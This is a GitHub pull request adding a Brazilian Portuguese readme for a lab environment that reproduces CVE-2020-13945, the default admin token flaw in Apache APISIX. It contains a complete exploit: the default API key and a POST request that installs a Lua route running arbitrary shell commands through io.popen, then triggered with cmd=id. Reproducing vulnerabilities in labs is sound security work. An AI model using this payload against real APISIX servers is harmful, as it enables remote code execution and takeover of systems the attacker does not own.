Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

added pt-br markdown #327

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
59 changes: 59 additions & 0 deletions apisix/CVE-2020-13945/readme.pt-br.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
# Apache APISIX's Admin API Vulnerabilidade de token de acesso padrão (CVE-2020-13945)

[中文版本(Chinese version)](README.zh-cn.md)

Apache APISIX é um gateway de API dinâmico, em tempo real e de alto desempenho. Apache APISIX tem um token de API embutido padrão `edd1c9f034335f136f87ad84b625c8f1` que pode ser usado para acessar toda a API de administração, o que leva à execução remota do código LUA através do parâmetro `script` adicionado na versão 2.x.

Referências:

- https://apisix.apache.org/docs/apisix/getting-started
- https://github.com/apache/apisix/pull/2244
- https://seclists.org/oss-sec/2020/q4/187

## Ambiente de vulnerabilidade

Execute o seguinte comando para iniciar um servidor Apache APISIX 2.11.0 (esta vulnerabilidade não foi corrigida até a versão mais recente, pode não ser considerada correção pelo fornecedor):

```
docker-compose up -d
```

Depois que o servidor for iniciado, você verá uma página de erro 404 padrão em `http://your-ip:9080`.

## Reprodução de vulnerabilidade

Adicione uma nova regra de rota ao APISIX por meio da API de administrador com o token padrão:

```
POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406

{
"uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}
```

![](1.png)

Então, use essa rota para executar comandos arbitrários:

```
http://your-ip:9080/attack?cmd=id
```

![](2.png)